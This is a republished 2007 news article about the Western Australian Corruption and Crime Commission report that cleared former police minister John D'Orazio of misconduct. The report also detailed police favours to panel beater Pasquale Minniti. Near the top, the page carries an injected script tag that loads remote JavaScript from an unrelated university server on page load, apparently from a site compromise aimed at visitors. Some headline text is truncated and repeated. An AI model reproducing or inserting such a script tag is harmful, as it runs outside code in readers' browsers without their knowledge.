NEWS > 21 December 2007

Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

WA Business News - Northbridg
21 December 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

CCC clears D'Orazio of miscond

Former Western Australia police minister John D'Orazio has expressed outrage at a corruption report he claims unjustly accused him of improper behaviour over a meeting with a Perth panel beater.

The Corruption and Crime Commission today handed down its final report into Bayswater panel beater Pasquale Minniti's use of police connections to allegedly have traffic infringements withdrawn for friends and family.

Mr D'Orazio was sacked as police minister in May 2006 and was later forced to resign from the ALP.

The CCC's hearing revealed Mr D'Orazio had met with Minniti who had offered to help him with allegations he had driven his car while his licence was suspended because of non-payment of fines.

The CCC report has found Mr D'Orazio did not engage in misconduct as defined under the CCC Act, but that his actions were inappropriate because he did not unequivocally discourage Minniti's offers of help.

Mr D'Orazio today angrily hit back at the CCC, saying his conduct with Minniti "was above board in every way".

"I'm outraged to say the least about this report," the now Independent Mr D'Orazio told reporters.

He said the CCC transcripts clearly showed he told Minniti: "I do not want you to do anything".

"So what does not the CCC understand?" Mr D'Orazio asked today.

He labelled the report a "whitewash" and said the CCC was trying to "justify their own incompetence" after a draft of the report was leaked to the media in June.

Following the leak, the WA Parliamentary Inspector Malcolm McCusker QC recommended the CCC delete any reference to Mr D'Orazio's inappropriate behaviour because he had been cleared of misconduct.

Mr D'Orazio's lawyer John Hammond today said the CCC's finding of inappropriate conduct by his client fell outside the terms of the CCC Act and it therefore had no right to reach such a conclusion.

The CCC report has led to 50 charges against eight people, including two police officers, who allegedly gave Minniti access to confidential police information and withdrew traffic infringements issued to Minniti's associates.

Mr Minniti has pleaded not guilty to 16 charges, including five of corruption and eight of unlawful use of a computer.

Five other non-public officers have been charged with a total of 11 offences.

According to the final report, senior constable Arduino Silvestri, who worked in the Police Infringement Management and Operations, has indicated a plea of not guilty to five counts of corruption and six of unlawful use of a computer, and has resigned from the service.

Sergeant Harrison, formerly of Bayswater Police Station, has resigned from the police and pleaded guilty to two counts of witnessing a false statutory declaration for which he received a 12-month suspended sentence and a $6,000 fine.

He also received a 10-month suspended sentence and a $5,000 fine after pleading guilty to 12 counts of unlawfully using a restricted access computer.

CCC acting executive director Nick Anticich said in a statement Mr Minniti had deliberately cultivated relationships with police officers over a number of years in order to receive illicit assistance and unauthorised services.

The commission's report indicates that unauthorised services allegedly provided to Mr Minniti by police included:

- The provision of confidential information from the police computer that in one instance was passed to a prisoner on remand for a serious offence;

- The withdrawal of traffic infringements legally issued to associates of Mr Minniti;

- Taking Mr Minniti on patrol in police vehicles, providing him with lifts and running errands for him and his associates;

- The use of police officers to target and potentially harass members of the public at Mr Minniti's request;

- Extraordinary assistance from police officers regarding the preparation of correspondence, applications, and other paperwork related to traffic infringements for Mr Minniti;

- Providing information to Mr Minniti on police practices, policies and procedures, including confidential information about the location and operation of random breath testing units; and

- Providing Mr Minniti with police accoutrements and equipment including police issue hats and badges.

In return, the report said police received "favours" from Mr Minniti including discounted panel beating, selling cars for police officers through his car yard, the purchase of vehicle parts at trade price, the supply and use of free loan cars, and gifts.

The commission has made five recommendations dealing with the processes by which traffic infringements may be withdrawn and how confidential information may be accessed from the police computer.

However, Mr Anticich acknowledged that Western Australia Police have begun to address deficiencies in its processes and procedures, and have implemented a new computer system designed to reduce the risk of a recurrence of the misconduct identified in the report.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

WA Business News - Northbridg21 December 2007

CCC clears D'Orazio of miscond

EiP Comments:

WA Business News - Northbridg
21 December 2007